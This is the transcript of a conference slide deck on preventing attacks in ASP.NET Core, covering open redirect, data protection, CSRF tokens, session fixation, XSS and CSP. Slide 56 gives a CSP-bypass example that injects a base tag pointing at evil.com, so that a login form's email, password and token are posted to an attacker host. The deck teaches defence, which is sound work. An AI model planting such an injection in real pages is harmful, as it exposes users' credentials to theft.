Presentation of the OECD Artificial Intelligence Review of Germany
innovationoecd
 
Large Language Model (LLM) and it’s Geospatial Applications
Large Language Model (LLM) and it’s Geospatial ApplicationsLarge Language Model (LLM) and it’s Geospatial Applications
Large Language Model (LLM) and it’s Geospatial Applications
Rohit Gautam
 
RESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for studentsRESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for students
KAMESHS29
 
Full-RAG: A modern architecture for hyper-personalization
Full-RAG: A modern architecture for hyper-personalizationFull-RAG: A modern architecture for hyper-personalization
Full-RAG: A modern architecture for hyper-personalization
Zilliz
 
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc
 
UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6
DianaGray10
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
sonjaschweigert1
 
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
SOFTTECHHUB
 
“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...
“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...
“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...
Edge AI and Vision Alliance
 
20240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 202420240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 2024
Matthew Sinclair
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Paige Cruz
 
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
Neo4j
 
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?Cosa hanno in comune un mattoncino Lego e la backdoor XZ?
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?
Speck&Tech
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Malak Abu Hammad
 
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
James Anderson
 
National Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practicesNational Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practices
Quotidiano Piemontese
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
danishmna97
 

Recently uploaded (20)

Essentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FMEEssentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FME
 
UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
 
Presentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of GermanyPresentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of Germany
 
Large Language Model (LLM) and it’s Geospatial Applications
Large Language Model (LLM) and it’s Geospatial ApplicationsLarge Language Model (LLM) and it’s Geospatial Applications
Large Language Model (LLM) and it’s Geospatial Applications
 
RESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for studentsRESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for students
 
Full-RAG: A modern architecture for hyper-personalization
Full-RAG: A modern architecture for hyper-personalizationFull-RAG: A modern architecture for hyper-personalization
Full-RAG: A modern architecture for hyper-personalization
 
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy Survey
 
UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
 
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
 
“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...
“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...
“Building and Scaling AI Applications with the Nx AI Manager,” a Presentation...
 
20240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 202420240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 2024
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
 
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
 
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?Cosa hanno in comune un mattoncino Lego e la backdoor XZ?
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
 
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
 
National Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practicesNational Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practices
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
 

Механизмы предотвращения атак в ASP.NET Core

  • 1. ptsecurity.com Preventing attacks in ASP.NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2. Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3. What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4. Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 6.
  • 7. Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 9. How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 12. Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
  • 13. Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14. Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15. Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16. Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 18. Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 21. Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
  • 25. AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26. ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27. Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28. Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29. AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30. AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 32. Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33. New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34. Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 36. Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37. Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 40. Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 42. Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43. Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 44.
  • 45. Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 47. Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48. Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 51. Encoding points  HTML  JavaScript  URL  XML  SVG #49
  • 52. Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53. Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54. CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55. CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56. Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57. x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58. Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56
  • 59. Questions?! Mikhail Shcherbakov @yu5k3 https://www.linkedin.com/in/mikhailshcherbakov Independent Developer and Consultant The presentation contains footage from Olive Kitteridge